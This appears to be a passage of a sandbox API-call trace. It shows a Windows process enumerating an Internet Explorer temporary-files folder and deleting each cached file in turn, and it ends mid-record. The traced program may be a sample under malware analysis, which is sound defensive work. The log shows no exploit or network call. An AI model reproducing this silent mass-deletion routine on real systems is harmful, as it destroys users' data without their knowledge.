[0108.535] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLv5i[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlv5i[1].jpg")) returned 1 [0108.535] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe731c700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe731c700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe731c700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x34b7, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDLXKp[1].jpg", cAlternateFileName="BBDLXK~1.JPG")) returned 1 [0108.535] lstrlenW (lpString="BBDLXKp[1].jpg") returned 14 [0108.535] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDLXKp[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLXKp[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLXKp[1].jpg" [0108.536] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDLXKp[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdlxkp[1].jpg")) returned 1 [0109.511] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcba5f560, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDM2NJ[1].jpg", cAlternateFileName="BBDM2N~1.JPG")) returned 1 [0109.511] lstrlenW (lpString="BBDM2NJ[1].jpg") returned 14 [0109.511] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDM2NJ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM2NJ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM2NJ[1].jpg" [0109.511] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM2NJ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdm2nj[1].jpg")) returned 1 [0109.512] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab2c660, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab2c660, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab2c660, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2306, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDM8gk[1].jpg", cAlternateFileName="BBDM8G~1.JPG")) returned 1 [0109.512] lstrlenW (lpString="BBDM8gk[1].jpg") returned 14 [0109.512] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDM8gk[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM8gk[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM8gk[1].jpg" [0109.512] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM8gk[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdm8gk[1].jpg")) returned 1 [0109.512] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf62c8e20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf62c8e20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf62c8e20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2452, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDM8ks[1].jpg", cAlternateFileName="BBDM8K~1.JPG")) returned 1 [0109.512] lstrlenW (lpString="BBDM8ks[1].jpg") returned 14 [0109.513] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDM8ks[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM8ks[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM8ks[1].jpg" [0109.513] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDM8ks[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdm8ks[1].jpg")) returned 1 [0109.515] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc300520, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc300520, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc300520, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23a0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMgVZ[1].jpg", cAlternateFileName="BBDMGV~1.JPG")) returned 1 [0109.515] lstrlenW (lpString="BBDMgVZ[1].jpg") returned 14 [0109.515] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDMgVZ[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMgVZ[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMgVZ[1].jpg" [0109.515] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMgVZ[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdmgvz[1].jpg")) returned 1 [0109.516] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc267fa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc267fa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc267fa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x9d5, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMopy[1].jpg", cAlternateFileName="BBDMOP~1.JPG")) returned 1 [0109.516] lstrlenW (lpString="BBDMopy[1].jpg") returned 14 [0109.516] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDMopy[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMopy[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMopy[1].jpg" [0109.516] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMopy[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdmopy[1].jpg")) returned 1 [0109.516] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc3e4d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc3e4d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc3e4d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2f24, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMp3M[1].jpg", cAlternateFileName="BBDMP3~1.JPG")) returned 1 [0109.517] lstrlenW (lpString="BBDMp3M[1].jpg") returned 14 [0109.517] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDMp3M[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMp3M[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMp3M[1].jpg" [0109.517] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMp3M[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdmp3m[1].jpg")) returned 1 [0109.517] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb92ea60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb92ea60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb92ea60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x257a, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDMwuY[1].jpg", cAlternateFileName="BBDMWU~1.JPG")) returned 1 [0109.517] lstrlenW (lpString="BBDMwuY[1].jpg") returned 14 [0109.517] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDMwuY[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMwuY[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMwuY[1].jpg" [0109.517] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDMwuY[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdmwuy[1].jpg")) returned 1 [0109.519] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab06500, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab06500, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab06500, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBg3ODX[1].png", cAlternateFileName="BBG3OD~1.PNG")) returned 1 [0109.519] lstrlenW (lpString="BBg3ODX[1].png") returned 14 [0109.519] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBg3ODX[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBg3ODX[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBg3ODX[1].png" [0109.519] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBg3ODX[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbg3odx[1].png")) returned 1 [0109.521] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb908900, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb908900, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb908900, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBkkhJa[1].png", cAlternateFileName="BBKKHJ~1.PNG")) returned 1 [0109.521] lstrlenW (lpString="BBkkhJa[1].png") returned 14 [0109.521] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBkkhJa[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBkkhJa[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBkkhJa[1].png" [0109.521] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBkkhJa[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbkkhja[1].png")) returned 1 [0109.522] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe63a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbe63a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbe63a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BByazif[1].jpg", cAlternateFileName="BBYAZI~1.JPG")) returned 1 [0109.522] lstrlenW (lpString="BByazif[1].jpg") returned 14 [0109.522] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BByazif[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BByazif[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BByazif[1].jpg" [0109.522] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BByazif[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbyazif[1].jpg")) returned 1 [0109.523] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd01db240, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd01db240, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd01db240, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8f9d, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="bootstrap[1]", cAlternateFileName="BOOTST~1")) returned 1 [0109.523] lstrlenW (lpString="bootstrap[1]") returned 12 [0109.523] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="bootstrap[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bootstrap[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bootstrap[1]" [0109.523] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bootstrap[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bootstrap[1]")) returned 1 [0109.526] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x195e61c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x195e61c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x195e61c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6f15, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="bootstrap[2].js", cAlternateFileName="BOOTST~2.JS")) returned 1 [0109.526] lstrlenW (lpString="bootstrap[2].js") returned 15 [0109.526] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="bootstrap[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bootstrap[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bootstrap[2].js" [0109.526] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bootstrap[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bootstrap[2].js")) returned 1 [0109.527] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="bounce[1].gif", cAlternateFileName="BOUNCE~1.GIF")) returned 1 [0109.527] lstrlenW (lpString="bounce[1].gif") returned 13 [0109.527] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="bounce[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bounce[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bounce[1].gif" [0109.527] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bounce[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bounce[1].gif")) returned 1 [0109.530] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcefb4a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcefb4a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcefb4a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4dd8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="bs-jsdep[1].css", cAlternateFileName="BS-JSD~1.CSS")) returned 1 [0109.530] lstrlenW (lpString="bs-jsdep[1].css") returned 15 [0109.530] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="bs-jsdep[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bs-jsdep[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bs-jsdep[1].css" [0109.530] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\bs-jsdep[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bs-jsdep[1].css")) returned 1 [0109.530] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c985ee0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c985ee0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c985ee0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="collect[1].gif", cAlternateFileName="COLLEC~1.GIF")) returned 1 [0109.530] lstrlenW (lpString="collect[1].gif") returned 14 [0109.530] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="collect[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\collect[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\collect[1].gif" [0109.531] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\collect[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\collect[1].gif")) returned 1 [0109.531] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc750d00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc750d00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc750d00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="ContainerTag[1].js", cAlternateFileName="CONTAI~1.JS")) returned 1 [0109.531] lstrlenW (lpString="ContainerTag[1].js") returned 18 [0109.531] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="ContainerTag[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[1].js" [0109.531] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\ContainerTag[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\containertag[1].js")) returned 1 [0109.532] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf93a280, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf93a280, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf93a280, 